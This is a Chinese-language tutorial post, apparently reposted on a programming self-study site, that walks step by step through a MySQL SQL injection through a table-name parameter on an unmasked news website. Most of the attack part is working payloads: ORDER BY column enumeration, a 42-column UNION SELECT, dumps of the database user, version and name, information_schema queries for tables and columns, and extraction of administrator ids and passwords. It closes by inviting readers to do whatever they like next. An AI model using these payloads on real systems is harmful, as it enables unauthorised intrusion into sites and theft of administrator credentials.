好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

实战MySQL表名注入 - 网站安全 - 自学php

数值型和字符型比较常见,再有就是搜索型和cookies型的了,遇到一棒子站存在表名注入,什么穿山甲呀,萝卜呀统统认不出来这个点(也可能是我没配好),不过确实是个注入点,只好手工搞了。

注入点(就不打码了):

 

http://HdhCmsTest2cto测试数据 /news/print_paper.php?number=150683&news_article=news_article

 

加单引号报错如下:

 

 

表名注入

 

由此可得知,这个脚本中至少执行了两次 数据库 操作。

第一条SQL:

 

 

 

第二条SQL:

 

SELECT*FROM news_article WHERENUMBER='150683'

由于SQL中存在where语句,所以若想从表名注入就得把后面的注释掉,这里使用[;–]。

 

ORDERBY1;--

返回正常页面

 

ORDERBY2;--

这个时候第一句SQL就报错了,原因你懂的,而且这里查询的字段名为[date],根据我个人的 数据库设计 经验,通常这个字段不会是字符型,也就不利于后续进一步注入,果断不管它。

 

ORDERBY20;--

正常(除了第一条SQL,后面就不提了)。

 

ORDERBY50;--

报错(第二条)。

 

ORDERBY40;--

正常

 

ORDERBY45;--

报错

 

ORDERBY43;--

报错

 

ORDERBY42;--

正常

好了,现在可以确定第二条查询语句有42个字段,接下来用union。

 

WHERE1=2UNIONSELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,2829,30,31,32,33,34,35,36,37,38,39,40,41,42;--

 

 

 

 

 

 

表名注入

 

从返回的结果与正常页面对比来看,字段2,6,7,16都是字符型。

爆数据库版本,用户名,数据库名:

 

 

 

WHERE1=2UNIONSELECT1,USER(),3,4,5,DATABASE(),version(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--

得到版本:5.0.90-log;用户名:upnews@61.97.139.36;数据库名:upnews

这就好办了,有information_schema可以用!

爆表(0x75706e657773是upnews的十六进制):

 

WHERE1=2UNIONSELECT1,2,3,4,5,(SELECT group_concat(TABLE_NAME)FROM(SELECTTABLE_NAMEFROM information_schema.TABLESWHERE table_schema=0x75706e657773 LIMIT0,10) a),7,8,9,10,11,12,13,14,15,(SELECTCOUNT(TABLE_NAME)FROM information_schema.TABLESWHERE table_schema=0x75706e657773),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--

由于第一次用group_concat()直接爆,发现爆出的表个数有误,而且出现表名截断现象,所以上面的爆表语句又使用了子查询,通过limit进行分页查询,每次只查出10张表名。

爆字段(0x6e6577735f61646d696e5f6d656d626572是news_admin_member的十六进制):

 

WHERE1=2UNIONSELECT1,2,3,4,5,(SELECT group_concat(column_name)FROM(SELECT column_name FROM information_schema.COLUMNSWHERETABLE_NAME=0x6e6577735f61646d696e5f6d656d626572) a),7,8,9,10,11,12,13,14,15,(SELECTCOUNT(column_name)FROM information_schema.COLUMNSWHERETABLE_NAME=0x6e6577735f61646d696e5f6d656d626572),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--

爆值:

 

WHERE1=2UNIONSELECT1,2,3,4,5,(SELECT group_concat(concat(id,0x7c,pass))FROM news_admin_member),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--

后面的,谁想干啥就干啥吧…o(∩_∩)o 哈哈

可以看出来其实表名注入很像数值型注入,甚至比其它类型注入更好用,因为表名之后的SQL完全可以自由控制

查看更多关于实战MySQL表名注入 - 网站安全 - 自学php的详细内容...

  阅读:53次